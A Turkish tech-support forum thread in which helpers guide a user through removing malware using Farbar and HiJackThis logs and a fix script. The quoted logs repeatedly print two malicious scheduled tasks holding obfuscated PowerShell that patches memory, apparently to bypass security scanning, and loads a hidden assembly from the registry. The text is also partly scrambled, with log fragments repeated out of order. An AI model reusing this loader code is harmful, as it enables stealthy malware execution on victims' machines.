Olur, teşekkürler.

Ayrıca ekran kartı driverimi güncelleyemiyorum. (hata 1603)

Temiz kurulum yapmak iyidir USB sürücünüz yok ise EasyBCD programı ile temiz kurulum yapmak mümkün ilgilenirseniz video linki bırakabilirim.

Sırasıyla, Denetim masasından; Kaspersky, McAfee, Trojan Remover, Links ve diğer bilmediğim tüm uygulamaları kaldır. Aşağıdaki araçları sırayla çalıştırıp kalıntıları temizle. https://media.kaspersky.com/utilities/ConsumerUtilities/kavremvr. exe https://download.mcafee.com/molbin/iss-loc/SupportTools/MCPR/MCPR. exe https://files.avast.com/iavs9x/avastclear. exe Kodu kopyaladıktan sonra Farbar'dan Fix tuşuna bas. Fixlog. txt adındaki dosyayı burada paylaş. Kod:Panoya kopyala start:: emptytemp: virustotal: C:\Windows\System32\DriverStore\FileRepository\u0376944. inf_amd64_7a28758ed8b2ac21\B376966\atieclxx. exe;C:\Users\muhan\AppData\Local\Programs\Blitz\Blitz. exe;C:\Program Files\Mozilla Firefox\firefox. exe;C:\Windows\System32\amdfendrsr. exe;C:\Windows\System32\DriverStore\FileRepository\u0376944. inf_amd64_7a28758ed8b2ac21\B376966\atiesrxx. exe;C:\Program Files\AMD\CNext\CNext\CPUMetricsServer. exe;C:\Program Files (x86)\Razer\Razer Services\GMS\GameManagerService. exe;D:\Games\Grand Theft Auto V\Launcher\RockstarService. exe;C:\Program Files (x86)\Razer\Razer Services\Razer Central\RazerCentralService. exe;D:\Razer Gamebooster\Razer Cortex\RzKLService. exe;C:\Windows\system32\Device. dll;C:\Windows\system32\ISDone. dll;C:\Windows\system32\Platform. dll;C:\Windows\bsdsetupDH. dll;C:\Windows\SysWOW64\ADsSecurity. dll;C:\Program Files\AMD\CNext\CNext\QtWebEngineProcess. exe File: C:\Users\muhan\AppData\Local\Yandex;C:\Users\muhan\AppData\Roaming\SmartSteamEmu;C:\Users\muhan\AppData\LocalLow\Redbeet Interactive;C:\Users\muhan\AppData\Roaming\Windows;C:\Users\muhan\AppData\Local\7b85455024c255fb2d382134ede54108;C:\Users\muhan\AppData\Local\ADMITLoving;C:\Users\muhan\AppData\Local\Cloud Game; C:\Windows\system32\ISDone. dll;C:\Users\muhan\. opera;C:\Users\muhan\Downloads\. opera HKLM\SOFTWARE\Policies\Microsoft\Windows Defender: Restriction < ATTENTION BootExecute: GroupPolicy: Restriction? < ATTENTION Policies: C:\ProgramData\NTUSER. pol: Restriction < ATTENTION Task: - System32\Tasks\TR_FastScan_AtLogon => C:\Program Files (x86)\Trojan Remover\Trjscan. exe Task: - System32\Tasks\TR_FastScan_Daily_Yılmaz => C:\Program Files (x86)\Trojan Remover\Trjscan. exe Task: - System32\Tasks\nslooksvc32 => powershell "function Local:KUUibsYzdVVZ{Param( [Type ]$flCbqwKNrRNgbw, $trxeVYymQW)$paalNHZeNmu= ::CurrentDomain. DefineDynamicAssembly((New-Object Reflection. AssemblyName ,[Reflection. Emit. AssemblyBuilderAcces (the data entry has 2227 more characters). Task: - System32\Tasks\TR_AntiHijack => C:\Program Files (x86)\Trojan Remover\TRAntiHJ. exe Task: - System32\Tasks\TR_Updater => C:\Program Files (x86)\Trojan Remover\Trupd. exe Task: - System32\Tasks\nslooksvc64 => powershell "function Local:yZzuiYRezadz{Param( [Type ]$EWellkmPyYZzro, $LjtIPhnXDu)$XEsJbemsTkG= ::CurrentDomain. DefineDynamicAssembly((New-Object Reflection. AssemblyName ,[Reflection. Emit. AssemblyBuilderAcces (the data entry has 2220 more characters). Tcpip\..\Interfaces\ : 192.168.42.129 Tcpip\..\Interfaces\ : 192.168.42.129 FF HKLM\...\Firefox\Extensions: ] - C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus 21.3\FFExt\light_plugin_firefox\addon. xpi => not found FF HKLM-x32\...\Firefox\Extensions: ] - C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus 21.3\FFExt\light_plugin_firefox\addon. xpi => not found FF ExtraCheck: C:\Program Files\mozilla firefox\defaults\pref\kl_prefs_62fbb8f7_c917_4cf7_957a_aad2b8fa768c. js < ATTENTION FF ExtraCheck: C:\Program Files\mozilla firefox\kl_config_62fbb8f7_c917_4cf7_957a_aad2b8fa768c. cfg < ATTENTION CHR Extension: - C:\Users\muhan\AppData\Local\Google\Chrome\User Data\Default\Extensions\aegnopegbbhjeeiganiajffnalhlkkjb CHR Extension: - C:\Users\muhan\AppData\Local\Google\Chrome\User Data\Default\Extensions\ijifibpcinhcgbmclfilhcbcojmkdemh CHR HKLM-x32\...\Chrome\Extension: R2 McAfee WebAdvisor; C:\Program Files\McAfee\WebAdvisor\ServiceHost. exe 2022-03-06 11:41 - 2022-03-06 11:41 - 000004146 C:\Windows\system32\Tasks\TR_FastScan_Daily_Yılmaz 2022-03-06 11:41 - 2022-03-06 11:41 - 000004004 C:\Windows\system32\Tasks\TR_FastScan_AtLogon 2022-03-06 11:41 - 2022-03-06 11:41 - 000003946 C:\Windows\system32\Tasks\TR_Updater 2022-03-06 11:41 - 2022-03-06 11:41 - 000003786 C:\Windows\system32\Tasks\TR_AntiHijack 2022-03-06 11:41 - 2022-03-06 11:41 - 000001371 C:\ProgramData\Microsoft\Windows\Start Menu\Trojan Remover FastScan. lnk 2022-03-06 11:41 - 2022-03-06 11:41 - 000001271 C:\ProgramData\Microsoft\Windows\Start Menu\Trojan Remover Updater. lnk 2022-03-06 11:41 - 2022-03-06 11:41 - 000001250 C:\ProgramData\Microsoft\Windows\Start Menu\Trojan Remover. lnk 2022-03-06 11:41 - 2022-03-06 11:41 - 000000000 D C:\Users\muhan\Documents\Simply Super Software 2022-03-06 11:41 - 2022-03-06 11:41 - 000000000 D C:\ProgramData\Simply Super Software 2022-03-06 11:41 - 2022-03-06 11:41 - 000000000 D C:\Program Files (x86)\Trojan Remover 2021-12-26 14:45 - 2021-12-26 14:45 - 000000000 D C:\ProgramData\McAfee 2021-12-26 14:45 - 2021-12-26 14:45 - 000000000 D C:\ProgramData\AVG 2021-12-26 14:45 - 2021-12-26 14:45 - 000000000 D C:\Program Files\McAfee 2022-03-03 16:27 - 2022-03-05 14:52 - 000000000 D C:\ProgramData\Avast Software AV: Kaspersky Anti-Virus FW: Kaspersky Security Cloud Kaspersky Anti-Virus (HKLM-x32\...\ ) (Version: 21.3.10.391 - Kaspersky) Hidden Links version 1.0 (HKU\S-1-5-21-1593825937-2386105780-1848293327-1005\...\Links_is1) (Version: 1.0 - Links) < ATTENTION ContextMenuHandlers1: -> => C:\Program Files (x86)\Trojan Remover\Trshlex64. dll ContextMenuHandlers2: -> => C:\Program Files (x86)\Trojan Remover\Trshlex64. dll ContextMenuHandlers6: -> => C:\Program Files (x86)\Trojan Remover\Trshlex64. dll FirewallRules: => C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray. exe => No File FirewallRules: => C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray. exe => No File FirewallRules: => C:\Program Files (x86)\360\Total Security\360TsLiveUpd. exe => No File FirewallRules: => C:\Program Files (x86)\360\Total Security\360TsLiveUpd. exe => No File FirewallRules: => C:\Program Files (x86)\360\Total Security\360TsLiveUpd. exe => No File FirewallRules: => C:\Program Files (x86)\360\Total Security\360TsLiveUpd. exe => No File end::

Logfile of HiJackThis Fork by Alex Dragokas v.2.10.0.16 Platform: x64 Windows 10 , 10.0.19043.1526 (ReleaseId: 2009, 21H1), Service Pack: 0 Time: 06.03.2022 - 21:58 (UTC+03:00) Language: OS: Turkish (0x41F). Display: Turkish (0x41F). Non-Unicode: Turkish (0x41F) Elevated: Yes Ran by: Yılmaz on DESKTOP-DU3LFJF, FirstRun: yes Chrome: 96.0.4664.110 Firefox: 97.0.2.8098 Internet Explorer: 11.0.19041.1202 Default: "C:\Program Files\Mozilla Firefox\firefox. exe" -osint -url "%1" Boot mode: Normal Running processes: Number | Path 1 C:\Program Files\AMD\CNext\CNext\AMDRSServ. exe 1 C:\Program Files\AMD\CNext\CNext\AMDRSSrcExt. exe 1 C:\Program Files\AMD\CNext\CNext\cncmd. exe 1 C:\Program Files\AMD\CNext\CNext\CPUMetricsServer. exe 1 C:\Program Files\AMD\CNext\CNext\QtWebEngineProcess. exe 1 C:\Program Files\AMD\CNext\CNext\RadeonSoftware. exe 1 C:\Program Files\Riot Vanguard\vgc. exe 1 C:\Program Files\Riot Vanguard\vgtray. exe 1 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2201.10-0\MpCopyAccelerator. exe 1 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2201.10-0\MsMpEng. exe 1 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2201.10-0\NisSrv. exe 6 C:\Users\muhan\AppData\Local\Discord\app-1.0.9004\Discord. exe 7 C:\Users\muhan\AppData\Local\Programs\Blitz\Blitz. exe 1 C:\Users\muhan\Desktop\HiJackThis. exe 1 C:\Windows\explorer. exe 1 C:\Windows\System32\amdfendrsr. exe 1 C:\Windows\System32\audiodg. exe 2 C:\Windows\System32\csrss. exe 1 C:\Windows\System32\ctfmon. exe 1 C:\Windows\System32\dasHost. exe 2 C:\Windows\System32\DriverStore\FileRepository\realtekservice. inf_amd64_3dd75df32535321a\RtkAudUService64. exe 1 C:\Windows\System32\DriverStore\FileRepository\u0376724. inf_amd64_aa44b9d5e398e987\B376581\atieclxx. exe 1 C:\Windows\System32\DriverStore\FileRepository\u0376724. inf_amd64_aa44b9d5e398e987\B376581\atiesrxx. exe 1 C:\Windows\System32\dwm. exe 2 C:\Windows\System32\fontdrvhost. exe 1 C:\Windows\System32\lsass. exe 4 C:\Windows\System32\RuntimeBroker. exe 1 C:\Windows\System32\SearchIndexer. exe 1 C:\Windows\System32\SecurityHealthService. exe 1 C:\Windows\System32\SecurityHealthSystray. exe 1 C:\Windows\System32\services. exe 1 C:\Windows\System32\SettingSyncHost. exe 1 C:\Windows\System32\SgrmBroker. exe 1 C:\Windows\System32\sihost. exe 1 C:\Windows\System32\smartscreen. exe 1 C:\Windows\System32\smss. exe 1 C:\Windows\System32\spoolsv. exe 70 C:\Windows\System32\svchost. exe 1 C:\Windows\System32\taskhostw. exe 2 C:\Windows\System32\wbem\WmiPrvSE. exe 1 C:\Windows\System32\wininit. exe 1 C:\Windows\System32\winlogon. exe 1 C:\Windows\SystemApps\Microsoft. LockApp_cw5n1h2txyewy\LockApp. exe 1 C:\Windows\SystemApps\Microsoft. Windows. Search_cw5n1h2txyewy\SearchApp. exe 1 C:\Windows\SystemApps\Microsoft. Windows. StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost. exe 1 C:\Windows\SystemApps\MicrosoftWindows. Client. CBS_cw5n1h2txyewy\TextInputHost. exe 1 C:\Windows\SysWOW64\dllhost. exe O2 - HKLM\..\BHO: Java Plug-In 2 SSV Helper - - C:\Program Files\Java\jre1.8.0_51\bin\jp2ssv. dll O2 - HKLM\..\BHO: Java Plug-In SSV Helper - - C:\Program Files\Java\jre1.8.0_51\bin\ssv. dll O4 - HKCU\..\Run: = C:\Users\muhan\AppData\Local\Programs\Blitz\Blitz. exe --autostart O4 - HKCU\..\Run: = C:\Users\muhan\AppData\Local\Discord\Update. exe --processStart Discord. exe O4 - HKCU\..\StartupApproved\Run: = C:\Users\muhan\AppData\Local\Programs\Opera GX\assistant\browser_assistant. exe (2021/05/13) O4 - HKLM\..\Run: = C:\Program Files\Riot Vanguard\vgtray. exe O4 - HKLM\..\Run: = C:\Windows\System32\DriverStore\FileRepository\realtekservice. inf_amd64_3dd75df32535321a\RtkAudUService64. exe -background O17 - DHCP DNS 1: 192.168.1.1 O22 - BITS Job: - http://edgedl.me. gvt1.com/edgedl/release2/chrome_component/fay7bjcbpgagtaithciieeva4u_20220222.431134436/obedbbhbpmojnkanicioggnmelmoomoc_20220222.431134436_all_TR500000_ktwdq23epwopvzpl77f6epukky. crx3 -> C:\Users\muhan\AppData\Local\Temp\chrome_BITS_9464_2144227497\obedbbhbpmojnkanicioggnmelmoomoc_20220222.431134436_all_TR500000_ktwdq23epwopvzpl77f6epukky. crx3 O22 - BITS Job: Fix all O22 - Task : CreateExplorerShellUnelevatedTask. job - C:\Windows\explorer. exe O22 - Task : nslooksvc32. job - O22 - Task : nslooksvc64. job - O22 - Task: C:\Windows\System32\Tasks\McAfee O22 - Task: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\nslooksvc32 O22 - Task: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\nslooksvc64 O22 - Task: \Agent Activation Runtime\S-1-5-21-1593825937-2386105780-1848293327-1001 - C:\Windows\System32\AgentActivationRuntimeStarter. exe O22 - Task: \Agent Activation Runtime\S-1-5-21-1593825937-2386105780-1848293327-1005 - C:\Windows\System32\AgentActivationRuntimeStarter. exe O22 - Task: \Microsoft\Windows\Management\Provisioning\Retry - C:\Windows\system32\ProvTool. exe /turn 5 /source ProvRetryTask O22 - Task: \Microsoft\Windows\Management\Provisioning\RunOnReboot - C:\Windows\system32\ProvTool. exe /turn 5 /source ContinueSessionTask O22 - Task: \Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work - C:\Windows\system32\usoclient. exe StartMaintenanceWork O22 - Task: \Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work - C:\Windows\system32\usoclient. exe StartWork O22 - Task: googleupdatetaskmachinecore - C:\Program Files (x86)\Google\Update\GoogleUpdate. exe /c O22 - Task: googleupdatetaskmachineua - C:\Program Files (x86)\Google\Update\GoogleUpdate. exe /ua /installsource scheduler O22 - Task: \Microsoft\Windows\Application Experience\PcaPatchDbTask - C:\Windows\system32\rundll32. exe C:\Windows\system32\PcaSvc. dll, PcaPatchSdbTask O22 - Task: \Microsoft\Windows\Defrag\ScheduledDefrag - C:\Windows\system32\defrag. exe \\?\Volume \ O22 - Task: \Mozilla\Firefox Background Update 308046B0AF4A39CB - C:\Program Files\Mozilla Firefox\firefox. exe --MOZ_LOG sync, prependheader, timestamp, append, maxsize:1, Dump:5 --MOZ_LOG_FILE C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\308046B0AF4A39CB\backgroundupdate. moz_log --backgroundtask backgroundupdate O22 - Task: \Mozilla\Firefox Default Browser Agent 308046B0AF4A39CB - C:\Program Files\Mozilla Firefox\default-browser-agent. exe do-task "308046B0AF4A39CB" O22 - Task: AMDInstallLauncher - C:\Program Files\AMD\CIM\Bin64\InstallManagerApp. exe /InstallAUEP O22 - Task: AMDLinkUpdate - C:\Program Files\AMD\CIM\Bin64\InstallManagerApp. exe -AMDLinkUpdate O22 - Task: AMDRyzenMasterSDKTask - C:\Program Files\AMD\CNext\CNext\cpumetricsserver. exe O22 - Task: Kaspersky_Upgrade_Launcher_ - C:\Program Files\Common Files\AV\Kaspersky Lab\upgrade_launcher. exe /waitUpgrade O22 - Task: ModifyLinkUpdate - C:\Program Files\AMD\CIM\Bin64\InstallManagerApp. exe -UpdateCurrentUser O22 - Task: nslooksvc32 - C:\Windows\System32\WindowsPowerShell\v1.0\powershell. exe "function Local:KUUibsYzdVVZ $esKTVjEbEydev=( ::CurrentDomain. GetAssemblies |Where-Object ). GetType('Microsoft. Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$BLsWUgXPabQYEv=$esKTVjEbEydev. GetMethod('Ge'+'tPr'+'ocAdd'+'ress', 'Public, Static',$Null, ::Any,@ . GetType , ),$Null);$zhDFYQRlKZJklGZhJlg=KUUibsYzdVVZ @ ;$HouUUsVdZbZakOwaaqnUNb=KUUibsYzdVVZ @( , , , . MakeByRefType ;$FjTfoJARZLM=$esKTVjEbEydev. GetMethod . Invoke($Null,@( ('kern'+'el'+'32. dll')));$qIROLtoHyfQMRl=$BLsWUgXPabQYEv. Invoke($Null,@( $FjTfoJARZLM, ;$BzKZfVwvYaCgfQTdI=$BLsWUgXPabQYEv. Invoke($Null,@( $FjTfoJARZLM, ;$gqDzMuu= ::GetDelegateForFunctionPointer . Invoke ;$thgHnFpRwqzfvbdgl=$BLsWUgXPabQYEv. Invoke($Null,@( $gqDzMuu, ;$tFojzPMnml=0; ::GetDelegateForFunctionPointer . Invoke($thgHnFpRwqzfvbdgl, 8,4, $tFojzPMnml); ::Copy([Byte ](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$thgHnFpRwqzfvbdgl,8); ::GetDelegateForFunctionPointer . Invoke($thgHnFpRwqzfvbdgl, 8,0x20, $tFojzPMnml); ::Load( ::LocalMachine. OpenSubkey . GetValue . EntryPoint. Invoke " O22 - Task: nslooksvc64 - C:\Windows\System32\WindowsPowerShell\v1.0\powershell. exe "function Local:yZzuiYRezadz $EznyfjngDAhAs=( ::CurrentDomain. GetAssemblies |Where-Object ). GetType('Microsoft. Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$sYOssrpLYJJpjX=$EznyfjngDAhAs. GetMethod('Ge'+'tPr'+'ocAdd'+'ress', 'Public, Static',$Null, ::Any,@ . GetType , ),$Null);$aAfmdyFNvhcWtryWFmg=yZzuiYRezadz @ ;$iyqMBNsEEaEwzblKaRROoC=yZzuiYRezadz @( , , , . MakeByRefType ;$LUQEzwkExfi=$EznyfjngDAhAs. GetMethod . Invoke($Null,@( ('kern'+'el'+'32. dll')));$vESqRXeDRnNXMw=$sYOssrpLYJJpjX. Invoke($Null,@( $LUQEzwkExfi, ;$gsFUORhqEFVSkXOmO=$sYOssrpLYJJpjX. Invoke($Null,@( $LUQEzwkExfi, ;$MyWMWhO= ::GetDelegateForFunctionPointer . Invoke ;$SNXmKatLTctWUQlcY=$sYOssrpLYJJpjX. Invoke($Null,@( $MyWMWhO, ;$VNvaCoBJHL=0; ::GetDelegateForFunctionPointer . Invoke($SNXmKatLTctWUQlcY, 8,4, $VNvaCoBJHL); ::Copy([Byte ](0xb8,0x57,0,7,0x80,0xc3),0,$SNXmKatLTctWUQlcY,6); ::GetDelegateForFunctionPointer . Invoke($SNXmKatLTctWUQlcY, 8,0x20, $VNvaCoBJHL); ::Load( ::LocalMachine. OpenSubkey . GetValue . EntryPoint. Invoke " O22 - Task: OneDrive Per-Machine Standalone Update Task - C:\Program Files\Microsoft OneDrive\OneDriveStandaloneUpdater. exe O22 - Task: OneDrive Reporting Task-S-1-5-21-1593825937-2386105780-1848293327-1005 - C:\Program Files\Microsoft OneDrive\OneDriveStandaloneUpdater. exe /reporting O22 - Task: OneDrive Standalone Update Task-S-1-5-21-1058129444-4087973727-844704433-500 - C:\Users\muhan\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater. exe O22 - Task: Opera GX scheduled assistant Autoupdate 1620210764 - C:\Users\muhan\AppData\Local\Programs\Opera GX\launcher. exe --scheduledautoupdate --component-name=assistant --component-path="C:\Users\muhan\AppData\Local\Programs\Opera GX\assistant" $(Arg0) O22 - Task: Opera GX scheduled Autoupdate 1618946092 - C:\Users\muhan\AppData\Local\Programs\Opera GX\launcher. exe --scheduledautoupdate $(Arg0) O22 - Task: StartCN - C:\Program Files\AMD\CNext\CNext\cncmd. exe startwithdelay O22 - Task: StartDVR - C:\Program Files\AMD\CNext\CNext\RSServCmd. exe O23 - Service R2: AMD Crash Defender Service - C:\Windows\System32\amdfendrsr. exe O23 - Service R2: AMD External Events Utility - C:\Windows\System32\DriverStore\FileRepository\u0376724. inf_amd64_aa44b9d5e398e987\B376581\atiesrxx. exe O23 - Service R2: Realtek Audio Universal Service - - C:\Windows\System32\DriverStore\FileRepository\realtekservice. inf_amd64_3dd75df32535321a\RtkAudUService64. exe O23 - Service R2: vgc - C:\Program Files\Riot Vanguard\vgc. exe O23 - Service S3: BattlEye Service - - C:\Program Files (x86)\Common Files\BattlEye\BEService. exe O23 - Service S3: EasyAntiCheat - C:\Program Files (x86)\EasyAntiCheat\EasyAntiCheat. exe O23 - Service S3: FileSyncHelper - C:\Program Files\Microsoft OneDrive\22.022.0130.0001\FileSyncHelper. exe O23 - Service S3: Google Chrome Elevation Service - - C:\Program Files\Google\Chrome\Application\96.0.4664.110\elevation_service. exe O23 - Service S3: Google Güncelleme Hizmeti - - C:\Program Files (x86)\Google\Update\GoogleUpdate. exe /svc O23 - Service S3: Google Güncelleme Hizmeti - - C:\Program Files (x86)\Google\Update\GoogleUpdate. exe /medsvc O23 - Service S3: Letasoft Sound Booster Service - - C:\Program Files (x86)\Letasoft Sound Booster\SoundBoosterService. exe O23 - Service S3: Mozilla Maintenance Service - - C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice. exe O23 - Service S3: OneDrive Updater Service - C:\Program Files\Microsoft OneDrive\22.022.0130.0001\OneDriveUpdaterService. exe O23 - Service S3: Rockstar Game Library Service - - D:\Games\Grand Theft Auto V\Launcher\RockstarService. exe O23 - Service S3: Steam Client Service - C:\Program Files (x86)\Common Files\Steam\steamservice. exe /RunAsService Debug information: - 06.03.2022 21:58:01 - LoadFileToStream - #0 LastDllError = 225 CreateFile C:\Windows\Tasks\nslooksvc32. job - 06.03.2022 21:58:01 - ParseJob. Unable to open file: C:\Windows\Tasks\nslooksvc32. job - #0 LastDllError = 0 - 06.03.2022 21:58:01 - LoadFileToStream - #0 LastDllError = 225 CreateFile C:\Windows\Tasks\nslooksvc64. job - 06.03.2022 21:58:01 - ParseJob. Unable to open file: C:\Windows\Tasks\nslooksvc64. job - #0 LastDllError = 0 -- End of file - Time spent: 13,7 sec. - 32926 bytes, CRC32: FFFFFFFF. Sign: 䕥

LastDllError = 225 CreateFile C:\Windows\Tasks\nslooksvc64. job - 06.03.2022 21:58:01 - ParseJob. Unable to open file: C:\Windows\Tasks\nslooksvc64. job -

Format en temizidir.

LastDllError = 225 CreateFile C:\Windows\Tasks\nslooksvc32. job - 06.03.2022 21:58:01 - ParseJob. Unable to open file: C:\Windows\Tasks\nslooksvc32. job -

Aşağıdaki raporu paylaş. Rehber: Farbar Recovery Scan ile Rapor Hazırlama Konu içinde rapor paylaşacak olan kişi sorununu açıkça belirtmesi gereklidir. Yazılımı bir klasör içine atıp altta verilen şıklar işaretli şekilde Scan yapın. Scan bitince klasör içinde çıkan txt dosyalarını rarlayıp dosya upload servislerinden birine upload edip paylaşın. Kurallara uygun... www.technopat.net

LastDllError = 0 -- End of file - Time spent: 13,7 sec. - 32926 bytes, CRC32: FFFFFFFF. Sign: 䕥

Eğer geç kalırsan ekran kartın, işlemcin bayağı bir hasar görebilir yavaşlayabilir. AdwCleaner siler hocam. Herkesin bildiği bir siteden indirin. İndirdikten sonra internetten çıkıp çalıştırın programı. 3-4 MB bir boyutu var zaten. Ücretsiz. Başka bir konuda bu yazıyı gördüm belki işini görür.

LastDllError = 0 - 06.03.2022 21:58:01 - LoadFileToStream -

Bunları fixleyin. Kod:Panoya kopyala O22 - BITS Job: - http://edgedl.me. gvt1.com/edgedl/release2/chrome_component/fay7bjcbpgagtaithciieeva4u_20220222.431134436/obedbbhbpmojnkanicioggnmelmoomoc_20220222.431134436_all_TR500000_ktwdq23epwopvzpl77f6epukky. crx3 -> C:\Users\muhan\AppData\Local\Temp\chrome_BITS_9464_2144227497\obedbbhbpmojnkanicioggnmelmoomoc_20220222.431134436_all_TR500000_ktwdq23epwopvzpl77f6epukky. crx3 O22 - BITS Job: Fix all O22 - Task : nslooksvc32. job - O22 - Task : nslooksvc64. job - O22 - Task: C:\Windows\System32\Tasks\McAfee O22 - Task: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\nslooksvc32 O22 - Task: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\nslooksvc64 O22 - Task: \Microsoft\Windows\Application Experience\PcaPatchDbTask - C:\Windows\system32\rundll32. exe C:\Windows\system32\PcaSvc. dll, PcaPatchSdbTask O22 - Task: Kaspersky_Upgrade_Launcher_ - C:\Program Files\Common Files\AV\Kaspersky Lab\upgrade_launcher. exe /waitUpgrade O22 - Task: nslooksvc32 - C:\Windows\System32\WindowsPowerShell\v1.0\powershell. exe "function Local:KUUibsYzdVVZ $esKTVjEbEydev=( ::CurrentDomain. GetAssemblies |Where-Object ). GetType('Microsoft. Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$BLsWUgXPabQYEv=$esKTVjEbEydev. GetMethod('Ge'+'tPr'+'ocAdd'+'ress', 'Public, Static',$Null, ::Any,@ . GetType , ),$Null);$zhDFYQRlKZJklGZhJlg=KUUibsYzdVVZ @ ;$HouUUsVdZbZakOwaaqnUNb=KUUibsYzdVVZ @( , , , . MakeByRefType ;$FjTfoJARZLM=$esKTVjEbEydev. GetMethod . Invoke($Null,@( ('kern'+'el'+'32. dll')));$qIROLtoHyfQMRl=$BLsWUgXPabQYEv. Invoke($Null,@( $FjTfoJARZLM, ;$BzKZfVwvYaCgfQTdI=$BLsWUgXPabQYEv. Invoke($Null,@( $FjTfoJARZLM, ;$gqDzMuu= ::GetDelegateForFunctionPointer . Invoke ;$thgHnFpRwqzfvbdgl=$BLsWUgXPabQYEv. Invoke($Null,@( $gqDzMuu, ;$tFojzPMnml=0; ::GetDelegateForFunctionPointer . Invoke($thgHnFpRwqzfvbdgl, 8,4, $tFojzPMnml); ::Copy([Byte ](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$thgHnFpRwqzfvbdgl,8); ::GetDelegateForFunctionPointer . Invoke($thgHnFpRwqzfvbdgl, 8,0x20, $tFojzPMnml); ::Load( ::LocalMachine. OpenSubkey . GetValue . EntryPoint. Invoke " O22 - Task: nslooksvc64 - C:\Windows\System32\WindowsPowerShell\v1.0\powershell. exe "function Local:yZzuiYRezadz $EznyfjngDAhAs=( ::CurrentDomain. GetAssemblies |Where-Object ). GetType('Microsoft. Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$sYOssrpLYJJpjX=$EznyfjngDAhAs. GetMethod('Ge'+'tPr'+'ocAdd'+'ress', 'Public, Static',$Null, ::Any,@ . GetType , ),$Null);$aAfmdyFNvhcWtryWFmg=yZzuiYRezadz @ ;$iyqMBNsEEaEwzblKaRROoC=yZzuiYRezadz @( , , , . MakeByRefType ;$LUQEzwkExfi=$EznyfjngDAhAs. GetMethod . Invoke($Null,@( ('kern'+'el'+'32. dll')));$vESqRXeDRnNXMw=$sYOssrpLYJJpjX. Invoke($Null,@( $LUQEzwkExfi, ;$gsFUORhqEFVSkXOmO=$sYOssrpLYJJpjX. Invoke($Null,@( $LUQEzwkExfi, ;$MyWMWhO= ::GetDelegateForFunctionPointer . Invoke ;$SNXmKatLTctWUQlcY=$sYOssrpLYJJpjX. Invoke($Null,@( $MyWMWhO, ;$VNvaCoBJHL=0; ::GetDelegateForFunctionPointer . Invoke($SNXmKatLTctWUQlcY, 8,4, $VNvaCoBJHL); ::Copy([Byte ](0xb8,0x57,0,7,0x80,0xc3),0,$SNXmKatLTctWUQlcY,6); ::GetDelegateForFunctionPointer . Invoke($SNXmKatLTctWUQlcY, 8,0x20, $VNvaCoBJHL); ::Load( ::LocalMachine. OpenSubkey . GetValue . EntryPoint. Invoke " O23 - Service S3: Rockstar Game Library Service - - D:\Games\Grand Theft Auto V\Launcher\RockstarService. exe Aktif zararlının silinmiş olması lazım. Kaspersky'i tekrar kurarak test edebilirsiniz. Ayrıyeten aşağıdaki araçla sisteme tam tarama yapmanızı öneririm. Emsisoft - Emergency Kit: Free Portable Malware Scan and Removal Emsisoft Emergency Kit is the ultimate free anti-malware and antivirus tool to scan, detect and remove viruses, keyloggers and other malware threats. www.emsisoft.com

Hocam fixleme kısmını anlayamadım onun dışında önerdiğiniz malware sihost64. exe adında bir trojan buldu internetten araştırdım mining virüsü olduğu yazıyordu tek tıkla sildi sıkıntı çıkartmadı. Yardımların için çok teşekkür ederim.

Bu kısma tıkla. Yaparken dikkatli bir şekilde yapın.

Raporu inceleyene kadar bekleyin, sıfırlamaya gerek yok.

Trojan Win32 Sepeh Bitcoin gibi kripto para üretmek için tasarlanmış bir truva atıdır. Bilgisayarın işlemci ve grafik işlemcisini kullanarak bitcoin üretir. Bilgisayarın ciddi oranda yavaşlamasına sebep olur. Son düzenleyen: Moderatör: 6 Mart 2022

Beklemedeyim hocam.

Logfile of HiJackThis Fork by Alex Dragokas v.2.10.0.16 Platform: x64 Windows 10 , 10.0.19043.1526 (ReleaseId: 2009, 21H1), Service Pack: 0 Time: 06.03.2022 - 21:58 (UTC+03:00) Language: OS: Turkish (0x41F). Display: Turkish (0x41F). Non-Unicode: Turkish (0x41F) Elevated: Yes Ran by: Yılmaz on DESKTOP-DU3LFJF, FirstRun: yes Chrome: 96.0.4664.110 Firefox: 97.0.2.8098 Internet Explorer: 11.0.19041.1202 Default: "C:\Program Files\Mozilla Firefox\firefox. exe" -osint -url "%1" Boot mode: Normal Running processes: Number | Path 1 C:\Program Files\AMD\CNext\CNext\AMDRSServ. exe 1 C:\Program Files\AMD\CNext\CNext\AMDRSSrcExt. exe 1 C:\Program Files\AMD\CNext\CNext\cncmd. exe 1 C:\Program Files\AMD\CNext\CNext\CPUMetricsServer. exe 1 C:\Program Files\AMD\CNext\CNext\QtWebEngineProcess. exe 1 C:\Program Files\AMD\CNext\CNext\RadeonSoftware. exe 1 C:\Program Files\Riot Vanguard\vgc. exe 1 C:\Program Files\Riot Vanguard\vgtray. exe 1 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2201.10-0\MpCopyAccelerator. exe 1 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2201.10-0\MsMpEng. exe 1 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2201.10-0\NisSrv. exe 6 C:\Users\muhan\AppData\Local\Discord\app-1.0.9004\Discord. exe 7 C:\Users\muhan\AppData\Local\Programs\Blitz\Blitz. exe 1 